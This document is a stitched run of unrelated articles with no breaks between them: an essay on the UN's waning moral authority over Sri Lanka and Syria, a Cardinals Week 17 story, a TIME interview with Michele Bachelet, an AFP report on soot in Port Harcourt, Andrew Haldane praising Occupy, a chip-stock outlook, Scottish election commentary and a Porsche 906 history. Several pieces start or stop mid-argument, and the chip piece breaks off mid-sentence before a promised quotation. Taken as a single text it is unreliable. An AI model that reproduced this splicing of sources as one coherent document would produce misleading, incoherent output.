The new Security Council — with permanent seats for Britain, China, France, the US and the USSR — gave institutional form to this spirit of realpolitik. Samuel Moyn, another Columbia historian, observes that discussions of the charter involved ‘the practical marginalisation of any idealistic language around which activist groups could or did organise’. In fact, many early advocates for the UN went so far as to argue that its lack of moral ambition was one of its major strengths. There was an idealistic counter-current, of course: in the later 1940s, moralist champions such as the former US first lady Eleanor Roosevelt drove through the formulation of the Universal Declaration of Human Rights, which promised ‘the advent of a world in which human beings shall enjoy freedom of speech and belief and freedom from fear and want’. Nevertheless, throughout the Cold War and up to the present, the organisation’s ideals have remained hostage to haggling between big powers in the Security Council.
It is left to a small core of UN officials, above all the Secretary-General, to try to balance all these forces and weave together a more or less convincing narrative about the organisation’s role in the world order. The post of Secretary-General was originally meant to be largely administrative, but the second man to hold the job, Sweden’s Dag Hammarskjöld, redefined it through a mixture of diplomatic activism and Christian-inspired mysticism. He threw himself into crises in the Middle East and the Congo in the 1950s and early ’60s, launched the UN’s first peacekeeping operations, and aimed to articulate an ethos for international civil servants — one that combined stringent political neutrality with ‘integrity in the sense of respect for law and respect for truth’. He concluded that, in extremis, this integrity must trump political expediency: UN officials could and should speak out against breaches of international law and principles. Hammarskjöld’s beliefs frequently caused him political trouble (although he was a cannier operator than his declaration of principles might imply). Yet his basic conception of the UN as an independent moral force, with an underlying obligation to speak truth to power, is what motivates many UN officials today.
It also defines the organisation’s continued place in the public imagination. This aura of righteousness extends even to the current Secretary-General, Ban Ki-moon, an uneasy figure on the world stage. Despite his lack of charisma, international opinion polls suggest that he is still broadly trusted, and his pronouncements on issues ranging from climate change to Syria’s chemical weapons are respectfully reported. If the UN is to continue to have a ‘vision’ of human rights and broader ethical goals, it is ultimately down to Ban and his advisers to articulate it.
The trouble is, he stands on very weak ground. Like Hammarskjöld and his other predecessors, Ban’s authority in peacekeeping matters depends on his capacity to persuade big powers to take the UN seriously. And whatever the ethical pretensions of the Secretary-General, the UN’s credibility with the big powers still rests on the same foundations as it did in 1945: national interests, hard-headed diplomacy and realpolitik. Morality remains secondary.
Today, strategic and ideological tensions between the US, Russia and China — all too evident in the Security Council discussions over Syria — bring an increasing risk that the UN will be marginalised, its talk of universal human rights lost in the cacophony of big power disputes. This prospect raises some very hard questions. What does it mean to maintain ‘integrity in the sense of respect for law and respect for truth’ in the face of intensifying international divisions? Can UN officials hold on to a sense of moral purpose if world leaders simply do not want to listen to what they have to say? What should their moral priorities be?
The Syrian crisis has brought these questions home to the UN’s leadership, but they caught an earlier glimpse of their possible fate in 2008, when the Sri Lankan army launched an all-out offensive against areas held by the Tamil Tiger rebels in the north of the country. The Tigers, themselves capable of great brutality, once held a large part of the country which they tried to turn into an independent state. By 2009, they were a spent force. China, nurturing strategic ties with Sri Lanka, blocked any serious discussion of the crisis at the UN. India also opposed any interference in its neighbour’s affairs. Western governments, including the US President Barack Obama’s then-young administration, protested, but were too preoccupied with the financial meltdown to do very much more.
The result was a bloodbath. It is now generally accepted that at least 40,000 civilians were killed over the course of the conflict. But the crisis was also a humiliation for the UN, which had long deployed development experts and humanitarian officials in Sri Lanka. As the scale of the killing became clear, critics asked why these officials had not spoken out more forcefully. The UN Secretary-General Ban Ki-moon, who was also accused of timidity, commissioned a report on the UN’s actions. It came out last November, and proved even grimmer than expected.
The report concluded that ‘some senior staff did not perceive the prevention of killing of civilians as their responsibility’. They were so concerned about the risks of offending the Sri Lankan government that they did not even keep proper count of fatalities. The paper emphasises a failure of leadership at almost every level. The senior official on the ground was a development specialist with no expertise in politics or human rights law, and he seemed painfully confused about what to say or do. His superiors in New York and Geneva failed to offer him worthwhile guidance, shying away from formulating a coherent strategy to put pressure on the Sri Lankan government. In one extraordinary diplomatic gaffe, Ban’s special adviser on the prevention of genocide privately reassured the Sri Lankan ambassador to the UN that he would not raise the killings in public.
One UN official who served in Iraq compared his status to that of a toothless old man
When Ban’s advisers started to learn of the report’s findings, they wondered if it might cripple his tenure as Secretary-General. In the end it had little lasting public impact. This might be because it stopped short of blaming Ban personally. It could also be because the original crisis never lodged very deeply in the popular imagination.
Nonetheless, the report did resonate among UN officials and the influential advocacy groups that follow their activities closely. Many compared the episode to the 1995 Srebrenica massacre, when Bosnian Serbs overran a ‘safe area’ guarded by UN peacekeepers and slaughtered 8,000 captives. But the comparison is inexact. Had UN commanders been more determined to defend Srebrenica, they could have mobilised NATO aircraft and pushed the US and European governments to commit more forces to the fight. In Sri Lanka, the UN had no military option. The divisions in the Security Council meant that the idea of sending in a peacekeeping force (vaguely floated by some advocacy groups) was a political impossibility. The only real tools left to the UN were its powers of moral and political persuasion.
And what do those powers amount to? In an end-of-mission report leaked to The Guardian in 2007, Álvaro De Soto, a veteran UN official with a record of success of peacemaking in Central America, portrayed his stint as mediator between Israel and Palestine as a dark comedy: ‘I have frequently felt like the Black Knight in Monty Python and the Holy Grail who, after having both legs and both arms lopped off by the king, still accuses his adversary of cowardice and threatens to bite off his legs.’ Another UN official who served in Iraq at roughly the same time compared his status to that of a toothless old man. The UN mission in Baghdad had been deployed in 2003 to help clear up after the American-led invasion but had been maimed by a bombing that killed 22 of its best staff in August 2003. Politically peripheral and always on watch for another attack, it could do little to help during Iraq’s descent into civil war.
Unlike Srebrenica, the Syrian conflict actually does bear a certain resemblance to Sri Lanka, with all that this implies for the UN’s freedom to intervene. Once again, a government has implacably decided to use force against its citizens. Once again, major powers (this time Russia and China) have chosen to protect the abusers. As before, Western powers including the US have equivocated over how to act. There has arguably been only one positive difference: Ban Ki-moon and his advisers have not shied away from the crisis. Instead, they repeatedly tried to put public pressure on Damascus.
This might say a little about the moral evolution of Ban. From his arrival at the UN in 2007 to roughly 2010, the former South Korean foreign minister was widely criticised inside the UN for his inability to articulate urgent moral issues. In mid-2009, grading his performance in the first half of his first term, The Economist gave Ban three out of 10 for ‘speaking truth to power’. But, possibly because he saw the implications of the Sri Lankan debacle, he has changed his tune. He won praise for speaking out unexpectedly forthrightly over crises in Kyrgyzstan and Côte d’Ivoire in 2010, and then surprised his critics by being one of the few international leaders to grasp the implications of the Arab Awakening.
Ban came out in support of the protesters in Egypt well before President Obama in 2011, and was also quick off the mark to call on the Libyan and Syrian governments not to attack their people. He boasted of arguing with Syria’s president Bashar al-Assad on the phone and urging him to pull back from violence. As the Syrian crisis has escalated, the UN has kept up its focus, deploying human rights experts, special envoys, peacekeepers, humanitarian agencies and chemical weapons experts to try to find diplomatic openings. If conflicts could be resolved simply by expending UN officials’ energies, Syria would now be in total peace.
But of course, it has spiralled into an appalling war. Early on, Assad stopped taking Ban’s phone calls. The Syrian president treated Ban’s two envoys, Kofi Annan and Lakhdar Brahimi, with contempt. Each envoy in turn grew increasingly critical of Assad, but one can argue that their outspokenness only emphasises the UN’s impotence. If Sri Lanka showed what can happen when the UN fails to speak truth to power, Syria has shown how little truth-telling can achieve. When the Security Council deployed a small team of military observers to Damascus in mid-2012, I wrote a piece in the World Politics Review arguing that the mission would be a ‘heroic failure’. Staff members who were heading to Syria contacted me to say that this was the best they were hoping for; their first priorities were to protect the UN’s reputation and to bear witness to the savagery of the conflict in the hope of shaming either the Syrian regime or the Security Council.
If the problem was simply that Assad himself did not care about the UN, the consequences would be limited though tragic enough. But one of the striking aspects of the Syrian crisis has been the refusal of Russia and China to co-operate with the West — or to take Ban’s entreaties seriously — despite the mounting evidence of carnage. By August 2013, when evidence emerged that the Syrian regime had made large-scale use of chemical weapons, the UN’s credibility was at breaking point. President Obama referred to the Security Council as ‘hocus-pocus’.
The Syrian story is a worrying indicator of how the main global powers might behave towards major crises at the UN in future. With Moscow at odds with Washington on issues from the American fugitive Edward Snowden to gay rights, it is not hard to imagine that there will be further Russo-American flare-ups in the Security Council (thankfully, Russia has avoided creating all-out disruption to date). For its part, China appears too preoccupied by its rivalry with the US in the western Pacific to pay much attention to UN affairs.
There is a real danger that the UN’s moral authority will fade as great power politics worsen
In these circumstances, Ban Ki-moon and the UN more broadly are likely to see the power of their moral appeals wane further. This does not mean that the UN will become entirely irrelevant to world affairs. It continues to play an important role on issues such as economic development and disburses over $25 billion in aid each year. Yet their hard work might not be sufficient to sustain the UN’s role in international high politics.
There is a parallel here with the UN’s precursor, the League of Nations. In the 1930s, as the diplomatic historian Zara Steiner notes, it kept up good works on social and economic policies. ‘These were undoubtedly worthy tasks,’ she wrote in The Triumph of the Dark (2011). ‘Yet in recognising these advances, one must not overlook the cheerless truth that during the later 1930s the League was perceived to be, and indeed simply was, a failure.’ We are thankfully still in a far less threatening period, but there is a real danger that the UN’s moral authority will fade as great power politics worsen.
Over much of the past year, a team overseen by Ban’s deputy, the Swedish diplomat Jan Eliasson, has been working out a response to the Sri Lanka report. Although complicated by in-fighting over turf issues — such as the procedures for appointing senior UN staff to volatile countries — there has been a genuine attempt to define a vision of the UN’s basic responsibilities in times of crisis. Through shifts in personnel management (‘we will integrate human rights…’), training and other technical reforms, Ban Ki-moon might be able to guide the UN system to address major abuses in a more coherent fashion, translating his own, newly invigorated attitude into broader institutional improvements.
That would be an achievement, and Ban will need to invest personal political capital in this goal if he wants to make any real impact. Nonetheless, it is ironic that UN officials are talking about the UN’s vision of what to do in bloody crises just as major powers are falling out over the same issue. Rather than set a positive agenda for human rights during the remainder of his time as Secretary-General (which expires in December 2016), Ban Ki‑moon could find that his primary task is to ensure that the UN does not lose sight of its moral principles amid fierce international competition. For UN officials in war zones, the years ahead will surely involve a long struggle to defend basic human rights and the laws of war against worsening odds. Hammarskjöld’s injunction to maintain integrity in the face of political pressure could prove brutally hard to fulfil. But it will be essential to maintaining the UN’s fragile status as a voice for decency and human rights in international affairs.
When the Arizona Cardinals take the field Sunday against the Seattle Seahawks, they will do so with their stars and key players on the field. Though it is Week 17 and pretty much every major regular season goal the team may have had has been achieved, this will not be the time for rest.
“We will approach this game as if it were Game 1 of the season,” Cardinals coach Bruce Arians said Monday. “We’ll treat it like every game. We don’t want to set a pattern of different behavior.”
Arians, who said this was his decision to make, does not want to mess with the routine and rhythm the team is in. Arizona has won its last nine games and has played about as well as it has all season over its last two. The idea is not only to make the playoffs, but be playing your best football when the postseason starts.
The fear is any departure from the norm could throw them off. Treating this like a normal game was an easy decision, Arians said.
“We’re playing so well right now I don’t want to change any way that we prepare,” he said. “We’ve got a week to rest — we know we’re going to get a week to rest anyway, so we’ll get plenty of rest.”
The coach said his players not only back his decision, but pushed for it.
“I don’t know of any of them that wanted to sit out,” he said. “Matter of fact, all of them came to me and said, ‘Look, we want to win this,’ and I said, ‘Of course we do.'”
“When you go out there, you want to play to win, and we still have the chance for the No. 1 seed,” defensive lineman and captain Calais Campbell said. “I know it’s tough because Carolina is such a good team, but if Tampa Bay does us a favor we’re playing for something still.”
Campbell pointed to the team wanting to maintain its momentum heading into the playoffs, and with one bye week already coming, another, to him, does not really make sense.
And then there’s the fact that the game is against the Seahawks.
“It’s a division game, plus there’s a chance we could play these guys again in the playoffs because they’re guaranteed a playoff spot too, so you don’t want to give them any confidence winning on your field,” he said. “We’d love to beat them because you never want to give a team confidence going into the playoffs.”
A victory Sunday would be the 14th of Arizona’s season, and if the Carolina Panthers lose to the Tampa Bay Buccaneers, would also give the Cardinals the No. 1 overall seed in the NFC and homefield advantage up until the Super Bowl.
Besides, Campbell said what would essentially amount to two weeks off at this point in the season could easily turn into a negative.
“I’ve never had two weeks off during the season before; I don’t know how it would feel,” he said. “I could imagine, though, but you take too much time off it almost, you have to get back going again. It’s easy coming out of a bye week and playing your best ball. That’s what you want when you go into a bye week, you come out of a bye week furious, wanting to do some damage, that’s what a bye week does for you.
“But two weeks off, that might be too much time, in my opinion.”
The caveat to the mind set is of course if a key player was to get seriously injured in a game that may not hold any significance to the team’s postseason position, well, that would be a tough pill to swallow. Arians was with the Colts when they lost linebacker Cornelius Bennett during a Week 17 loss in 1999.
“Probably wouldn’t have had Cornelius anyway, he was playing on one leg that whole year — he was more inspirational,” Arians said. “I don’t think you get anything out of resting guys, especially playing a team that’s in our division and we haven’t beaten them at home in a couple of years.
“We don’t want to start a precedent now.”
During Michele Bachelet’s first term in office over a decade ago, Chile’s GDP was growing at better than 5 percent amid booming emerging markets. But the twin blows of a devastating earthquake and declining commodity markets turned the country’s fortunes around. Having been elected to a second non-consecutive term as President in 2013 on pledges of free higher education, steeper business taxes and tighter regulation, she found herself unable to keep those promises. Growth is now below 2%, inbound investment is down, and unemployment is rising.
Bachelet is due to leave office in November, and I spoke to her during a recent visit to Santiago about Chile’s fitful progress and demanding future. Here’s the full transcript:
TIME: A decade ago, Chileans had historically high expectations for their futures. But a series of crises (including the 2010 earthquake and the slowdown of the commodities super-cycle) have created serious economic challenges. What does Chile need to overcome these challenges?
Bachelet: Chile has good reason for its high expectations. For decades, we’ve been building policies and institutions to promote growth and increase living standards. We certainly face important challenges. We still have high levels of inequality and increasing demand to build a more inclusive society, one where opportunities are available to everyone. We also need to close the productivity gap that explains the almost 50% income difference with respect to developed countries.
Our priority is to implement productivity policies for inclusive growth. The education reform we’re implementing is the core of that strategy, because it levels the playing field within society, and because it will help all Chileans develop the tools and skills we need in a globalized, technologically sophisticated economy.
There is much more to do. We must diversify our economy, attract more investment, work to make small- and medium-sized businesses more competitive, simplify government administration, and find new ways to encourage innovation.
You have undertaken ambitious reforms in a challenging economic environment. What do you see as the biggest obstacles to positive change?
Starting in the early nineties, Chile implemented a first generation of reforms that led to decades of high growth and an unprecedented reduction in poverty rates. But as Chile gets closer to the income levels of developed countries, the challenge become more complicated, and we can’t grow along the same path. The drivers for growth will be different tomorrow than they were yesterday. At the same time, people who have been empowered by positive change are demanding quick solutions to current problems.
That’s our biggest question: How do we build an intelligent plan for growth over decades while responding to citizen’s immediate demands for less inequality and more opportunity. We must do both.
How is Chile different than its Latin America neighbors? What forces have made Chile different?
Democracy, the protection and promotion of human rights, and an open economy are the basic principles that underlie Chile´s development since the early 1990s. There has been a constant effort to improve and modernize our institutions, invest in social policies, open spaces for the participation of civil society, and promote an active foreign policy, including the negotiation of free trade agreements. These and other actions have created economic growth, the reduction of poverty, better public policies (as our membership in the OECD signals), and a strong presence within the region and in multilateral institutions. The tax, educational, labor, and constitutional reforms my government is implementing are designed to make sure we keep these gains while working toward inclusive sustainable development and the reduction of inequality.
How has President Trump changed the Chile-U.S. relationship, if at all?
The relationship between the two countries remains very strong. Chile is a close partner of the United States in Latin America. Our bilateral agenda covers trade, investment, energy, education, innovation, and security, among other areas of mutual interest. Chile is the only Latin American country that participates in the American Visa Waiver program, and we share a longstanding relationship in defense, through training and participation in joint exercises.
Today, the United States is Chile´s second trading partner after China, with a trade surplus that favors the U.S. Our Free Trade Agreement has been instrumental in opening the market for new products and services, as well as to attract investment. Since January 2015, all trade in goods between our countries is duty-free.
The United States is also the leading foreign investor in Chile, with close to US$ 30 billion since 1974 in mining, retail, utilities, communications, insurance and other sectors. It works in the other direction, as well. Between 1990 and 2015, Chilean companies have invested billions in the United States, mainly in services and mining.
Whenever a new government is elected, there is always a process of adjustment and mutual learning, but we’re confident that Chile – U.S. relations will continue to flourish on the basis of shared values such as democracy, open markets, and sustainable development.
On trade, can other countries move forward with the Transpacific Partnership (TPP) without the United States?
Chile is committed to economic integration in Latin America and Asia Pacific. We will continue to work to open markets for our goods and services, bilaterally, regionally or multilaterally, with willing countries. Chile a summit on integration last March, at which the Pacific Alliance countries announced their decision to launch negotiations as a bloc with Asia Pacific countries. High-level officials from the remaining 11 TPP signatories, including Chile, are in permanent contact, looking for ways to ensure that what was achieved in the TPP can be carried forward.
In many countries, public confidence in the media is very low. It strikes me that this is not true in Chile, where the media remains trusted and popular. Why is the relationship between the public and the media different in Chile than in other countries?
I think it’s because people in Chile still believe in institutions and in the social contract between the media and the public. This makes our democracy strong. When we have problems, we confront them and make necessary changes.
But we must do more to continue to ensure the media’s independence, to maintain distance between the business of media and the public service of providing accurate information. Access to information is a human right and a safeguard of our democracy. Chilean society is still waking up slowly after a long period of dictatorship.
We must also stay on top of social media. This is the democratization of information, and it gives us important data on how our society is changing. But government has a role to play in ensuring ethical use of these tools. Media shares in this responsibility.
What challenges does Chile face from the turmoil in Venezuela? Should Latin American governments become more involved in trying to resolve that crisis?
We’re following the situation in Venezuela closely. Chile supports dialogue between the government and the opposition as the only way to ensure that the Venezuelan people determine the future of their country in a peaceful manner. On April 30th, the governments of eight Latin American countries – Argentina, Brazil, Chile, Colombia, Costa Rica, Peru, Paraguay and Uruguay – made clear that it’s essential to have clear conditions for a negotiated solution in Venezuela. That means violence must end. The law must be followed. Political prisoners must be released. The constitutional powers of the National Assembly must be restored. And we need an election timetable.
This is not just a regional challenge; it’s a global one. We will continue to promote a peaceful resolution to the crisis in Venezuela, and we call on other governments to join us.
Should Chile tighten its migration policy? Why or why not?
Given global trends, it’s clear that migratory flows will continue to grow throughout the world. Chile is a country of migration. We have benefitted greatly from migration. Our country has undergone a great change in a little more than two decades, and part of that is linked to the steady increase of foreign-born people who now live and work in Chile. Our migrant population is estimated at around 500,000. These people are mainly women and young adults, with higher schooling than their Chilean counterparts, who come to Chile in search of work opportunities.
We must count on institutions that provide stability and justice. We are developing a new migration policy, one that will grant rights and obligations to immigrants, all in accordance with international law and the protection of human rights.
Port Harcourt (Nigeria) (AFP) - The Nigerian city of Port Harcourt used to be known as "The Garden City" because of its soaring palm trees and green open spaces.
But since late last year, black soot has been falling from the sky, scaring and angering residents of the oil hub who claim nothing is being done to protect their health.
"You hang your clothes and before you know it, they become black. You step on your floor, everywhere is black," Steven Obodekwe, a Port Harcourt resident and environmentalist, told AFP.
The soot appeared in November last year, clouds became a hazy grey and more people were seen wearing protective face masks, said resident Tamuno Alobari.
"It (the soot) is mostly pronounced in the morning hours, especially when you run your hands across your car," he said.
Timi Isiayei said there's no escape from the fine black dust.
"When I brush my teeth in the morning and try to clear my throat, I normally notice a dark phlegm and the same applies when I try to clear my nostrils," he added.
Toxic smog is a phenomenon that has more often been associated with populous developing economies such as India and China.
The government in Rivers state, of which Port Harcourt is the capital, in December urged the public not to panic but last week set up a taskforce to investigate the matter.
The federal environment ministry in the national capital Abuja on Monday declared the air pollution an "emergency situation" and warned residents to shut doors and windows.
- Mystery origins -
The hashtag #StopTheSoot has appeared on Twitter, people are sharing photographs of their hands and feet covered in the dust, and protest marches are being organised.
Burning tyres for scrap copper and illegal oil refineries have both been blamed for the residue.
Oil revenue is central to Nigeria's economy, accounting for some 70 per cent of government earnings and 90 per cent of foreign exchange.
But decades of exploration and spills has polluted the farmlands and fish stocks in the maze of creeks around Port Harcourt and across the Niger Delta region.
Theft of crude oil from pipelines -- or "bunkering" as it is called locally -- sees raw fuel regularly diverted to illegal refineries set up in the bush for conversion into petrol and diesel.
"From investigations carried out so far, we have noticed that it is as a result of years of exploration activities especially from illegal oil bunkering activities," said environment regulation official Emeka Aniamaka.
But the environment ministry suggested another cause after ordering the shutdown of an asphalt-processing plant, saying it was "belching out thick smoke from its operations".
- Health problems -
In 2015 the World Bank said 94 per cent of Nigerians were exposed to air pollution levels that exceed World Health Organization guidelines.
Air quality is worsened by the use of generators to make up for the gaps in supply from the national electricity grid, as well as petrol containing high levels of sulphur.
Toxic smoke also comes from the burning of rubbish -- a legacy of the absence of municipal waste services.
The city of Onitsha, nearly 200 kilometres (125 miles) north of Port Harcourt, was in May last year named as having the world's worst levels of PM10 particles.
PM10 are microscopic particles in the air measuring between 2.5 and 10 thousands of a millimetre or micrometres. They can come from smoke, dust, soot, vehicle exhausts and industries.
Doctors in Port Harcourt say they are seeing the health effects of the soot already, with an increase in consultations for breathing difficulties, including asthma.
Children and the elderly are most at risk. The United Nations Environment Programme (UNEP) estimates some 600,000 people die in Africa every year as a result of air pollution.
Environmentalists are also sounding the alarm, as the soot has been found to contain sulphur dioxide and nitrogen dioxide, which cause acid rain when combined with moisture.
Yet Obodekwe, who works at the non-profit Centre for Environment, Human Rights and Development, says it is unlikely any new regulations will be implemented.
"Many environmental policies are not enforced. There is a lack of political will," he said.
A Bank of England official has said the Occupy movement played a key role in financial reformation.
Andrew Haldane is executive director of financial stability at the central bank.
He said Occupy's voice had been "loud and persuasive".
Mr Haldane said the protesters had touched a "moral nerve" and that policymakers were taking the group’s arguments on board.
The Occupy movement was a peaceful protest which first targeted the London Stock Exchange on 15 October 2011.
It was an anti-capitalist movement which spread around the major cities of the world in protest at what it saw as inequalities in the distribution of wealth and a banking-bonus culture.
The group eventually camped outside St Paul’s Cathedral in London until February, when they were evicted by the City of London Corporation.
Mr Haldane gave his surprise reaction to a meeting organised by the movement in London.
"Occupy has been successful in its efforts to popularise the problems of the global financial system for one very simple reason: they are right," he said in his speech.
He said Barclays and Lloyds were seeking to change their "sales-oriented culture" and return to their Quaker roots.
"There is the quiet, but unmistakable, sound of a leaf being turned," he said.
"If I am right and a new leaf is being turned, then Occupy will have played a key role in this fledgling financial reformation.
"You have put the arguments. You have helped win the debate. And policymakers, like me, will need your continuing support in delivering that radical change."
The chip industry is threatened by slowing growth, but that doesn’t mean you shouldn’t buy into stocks of top companies such as Intel (INTC), Micron Technology (MU) and Advanced Micro Devices (AMD), according to a report this morning from David Wong of Wells Fargo.
A recovery in the semiconductor industry that began in the second half of 2016 has continued this year and is going to continue in 2018, writes Wong, even though he’s “cautious” about the industry, given that growth is set to slow this new year.
"The chip industry crossed over from year/year declines in the first half of 2016 to year/year growth in the second half,” writes Wong.
“However, monthly year/year growth comparisons did peak in mid-2017,” notes Wong, and, "We are projecting continuing growth deceleration through 2018 for semiconductors overall, driven by a moderation in memory growth."
Growth in 2016 was in a sense perhaps “pent-up demand” for chips after several years of “sub-par” growth for the industry, he explains:
The 5% growth of 2013 followed a 3% decline in 2012, resulting in almost no growth for the two year period 2012-2013. Growth of 10% in 2014 was follow by two more years (2015 and 2016) of very little growth. During this period global GDP was in 3-3.4% range for every year, and the Wells Fargo economic projects have global GDP growth remaining firm in the 3.4-3.5% range in 2017 and 2018. We think the numbers in our table suggest there may have been a fair amount of pent-up demand in the semiconductor end markets created in the 2012-2016 period, driving a recovery in semiconductors spanning 2017 and 2018 and possibly extending into 2019.
For memory chips, such as DRAM and NAND, prices of DRAM and the move to “3-D” NAND should continue to be good for Micron, even though the market’s going to grow more and more slowly as the year moves on:
Rising memory prices drove significant growth in semiconductor memory in 2017. Memory sales are on track for close to 60% year/year growth in 2017. We think that memory growth will continue in 2018 but probably moderate significantly from 2017 growth. Our projections have the memory segment entering 2018 at close to 40% year/year growth in the month of January 2018 and finishing the year at perhaps below 10% year/year growth in the month of December 2018. On balance we view the possibility of continuing memory growth to be a positive for memory chip companies and semiconductor equipment makers, but we also recognize that there could be risk associated with the possibility of rapid deceleration from the very high memory growth levels of 2017.
Another area besides memory that still has opportunity is self-driving cars. And he likes Intel in particular in this market, calling the stock his “top pick” for 2018.
"Intel’s recent acquisition of Mobileye has, in our view, given Intel a leadership position in chips for autonomous driving applications,” writes Wong.
Other chip makers that could benefit from self-driving cars, and from automotive overall, are analog chip makers Maxim Integrated Products (MXIM), Texas Instruments (TXN), and Analog Devices (ADI).
Wong likes server chips in 2018, especially things for machine learning, writing "We think that the data center is the nexus of a number of important new growth areas of the future, including artificial intelligence, autonomous driving, internet-of-things and 5G communications."
He particularly likes AMD’s chances in servers in 2018, with its newer Epyc part:
In the past AMD was been a meaningful second-source provider of x86 processors for servers. However, many years ago AMD’s server products began to fall behind Intel’s in performance, and AMD’s share in server processors dropped to negligible levels. In mid 2017 AMD introduced a new server processor family, EPYC, which appears to have very competitive performance characteristics. We think that EPYC has given AMD a means to re-engage in the x86 server processor market [...] We think that AMD will begin to demonstrate meaningful market share momentum in the server processor market. We believe that AMD will be able to grow its server processor market share from below 1% unit share in 2017 to perhaps as much as a run rate of 5% unit share and 3% revenue share by the end of 2018 and 10% unit share/6% revenue share by the end of 2019.
Intel can also benefit, writes Wong: "Intel’s datacenter growth may well accelerate to the double digit percent growth range in 2018, from the high single digit percent growth Intel achieved in 2017."
For Nvidia (NVDA), whose shares Wong rates Underperform, he reiterates that rating today, writing that the company is facing sharply slowing growth in 2018:
It’s in that context that we make the following observations about next month’s vote.
1. RISE AREN’T GOING TO WIN ANY SEATS.
They’re just not. They could multiply their current support by 10 in the next two weeks and still be nowhere near. In terms of winning representation at Holyrood for the next five years, a vote for RISE is – categorically and indisputably – a wasted vote.
That doesn’t mean you shouldn’t vote for them if you agree with their policies (even if they’re somewhat confused or flat-out contradictory, like a £100,000 salary cap and a 60% tax rate for people earning over £150,000). Every political party has to build from nothing, and in a broader sense there’s no such thing as a wasted vote.
But in THIS election, right here right now, voting for RISE is saying “I’m going to leave who Scotland’s list MSPs are to fate, because my vote will count for nothing”.
2. A “PRO-INDEPENDENCE OPPOSITION” IS IMPOSSIBLE.
The only thing even remotely akin to a meaningful runner-up prize in an election is to be the largest opposition party, which gets you privileged treatment in parliament and the media. But the second-biggest pro-independence party is hoping, at best, to come fourth in this election, which gets you nothing.
Even fourth is a pretty big ask. But to lead the opposition the Greens would have to go from 87,000 votes to more like 500,000. If every single Tory, Lib Dem, socialist and UKIP list vote from 2011 had gone to the Greens instead, they’d still have been short of Labour’s total. Whatever else happens in May, “the opposition” will still be Unionist.
(And of course, in terms of independence then by definition it will ALWAYS be so.)
3. A “PRO-INDEPENDENCE OPPOSITION” IS MEANINGLESS ANYWAY.
There are only two possible outcomes of a Holyrood election – either the governing party gets a majority or it doesn’t. If it does, then the composition of the opposition is irrelevant, because the government can pass whatever it wants.
And if it doesn’t get a majority, it only needs however many of the opposition’s votes are required to reach one. If a minority governing party is only (say) three short of the 65 seats needed at Holyrood, then it doesn’t matter if 63 of the 66 opposition MSPs are against it. It only needs the other three to pass its bills.
4. THE SNP AREN’T GOING TO WIN EVERY CONSTITUENCY SEAT.
Whatever polls say, realistically it simply isn’t going to happen. In Orkney the SNP trailed the Lib Dems in 2011 by 11%, while in Shetland the Nats were a massive 35 points behind. The islands resisted the SNP tsunami in the Westminster election last year and one or both is very likely to do so again this year.
The Borders will be tough ground too. In the 2011 Holyrood landslide not one of the three seats adjacent to England went to the Nats, and they trailed by up to 19 points.
Even allowing for Labour’s collapse, there are numerous places where the SNP is defending very small majorities and could be vulnerable to Unionist tactical voting. In 10 of their seats the majority is under 1000, the lowest being Glasgow Anniesland where Bill Kidd won in 2011 by a mere seven votes.
In Glasgow Kelvin, meanwhile, the SNP finished just 882 votes ahead five years ago, and this time Patrick Harvie of the Greens is standing for the constituency seat as well as on the list, creating a serious possibility of splitting the Yes vote and letting Labour sneak back in.
In short, then, there are at a minimum 15 constituencies where the Nats will face, at the very least, a serious fight. If they were to lose just over half of them they’d fall short of a majority and would need list seats to get across the line.
5. THE GREENS’ COMMITMENT TO A SECOND INDYREF IS LUKEWARM.
The Scottish Greens manifesto is clear that the party would campaign for a Yes vote in the event of a second referendum. It’s a lot more vague on actually bringing that second referendum about. The current stated policy is that a second vote would require a “citizens’ initiative”, taking the form of a petition comprising one million signatures, unless there was a counter-petition AGAINST a referendum with more.
In other words, to back a second referendum the Greens want to have a mass public voting contest first – in effect a referendum about a referendum.
The party’s position, put more candidly, is that it will campaign for independence should a second referendum somehow happen, but they don’t really want it to happen, even in the event of a Brexit vote in the UK.
The obstacles the Greens have put in place of supporting another indyref in the next parliament are to all practical purposes insurmountable. Should their votes be crucial to passing a referendum bill, it’s very far from certain it would be delivered.
At the risk of repeating ourselves, none of the above is necessarily an argument for voting for or against any particular party next month. The constitution is not the be-all and end-all of politics, and for many people other issues may be more important than parties’ stances on independence or referendums.
Written by John Lamm // Photography Courtesy of The Revs Institute
There’s no question Porsche had a solid racing history in the 1950s and early 1960s, but a major change took place in 1966. At the heart of this revolution were Ferdinand Piëch and the 906, otherwise known as the Carrera 6.
A grandson of Ferdinand Porsche, Piëch was just 28 years old when he took over responsibility of development of Porsche’s racing cars. His plan was to create a new generation of lightweight race cars. So when the 906 was designed, Porsche turned from the heavy steel-and-fiberglass underpinnings of the 904 to a lighter space frame design with an unstressed fiberglass body.
In another step forward for Porsche, the Carrera 6 body shape with its 0.35 coefficient of drag was developed in a wind tunnel for optimum aerodynamics. It sports gullwing doors a la Mercedes-Benz 300SL.
The basic suspension of the 906 was inherited from the 904 for a very practical reason. The planned production of the 904 didn’t pan out and there were plenty of a-arms, links and radius rods left over so they were used on the 906 with some minor differences.
Because it was deigned for the FIA’s Group 4 Sports Car segment, the Carrera 6 was fitted with 15-inch wheels, which made sense for a semi-street machine. (Later equipped with the more race-worthy 13-inch center-lock wheels–and with only slight changes in dimensions–the Carrera 6 essentially became the Porsche 910 race car.)
Powering the Carrera 6 was a 1991-cc air-cooled flat-6 that was basically a racing version of the engine used in the production 911 with some changes, like exotic metals in the connecting rods and crankcase. Horsepower as 210 at 8,000 rpm, torque rated at 146 lb-ft at 6,000 rpm. The 5-speed gearbox was also 911 production based.
Debuting at the 1966 24 Hours of Daytona, a Carrera 6 finished 6th and won its Sports 2.0-liter class. Ditto at the 12 Hours of Sebring and the 1000-km races at Monza, Spa and the Nürburgring. In the Targa Florio, a semi-privately-entered Carrera 6 won overall, beating the sports prototype Ferrari 206S Dinos. At the 24 Hours of Le Mans, Ford GT40 MkIIs with their big-block V-8s took spots 1-2-3, but Carrera 6s came in 4-5-6-7 powered by their 2.0-liter flat-6s. Not bad for a debut year.
There were, of course, numerous Carrera 6 wins in 1966 throughout the world. In the U.S. for instance, Ken Miles took the 2.0-liter class in the Las Vegas and Laguna Seca USRRC races. Famed Porsche pilot Peter Gregg earned class wins at the Bahamas Speed weeks. These winning ways continued into 1967 and 1968, Carrera 6s nabbing class wins in the U.S. and Europe. Comedian Dick Smothers and Fred Baker famously took 8th overall to win its 2.0-liter class at Sebring in 1969.
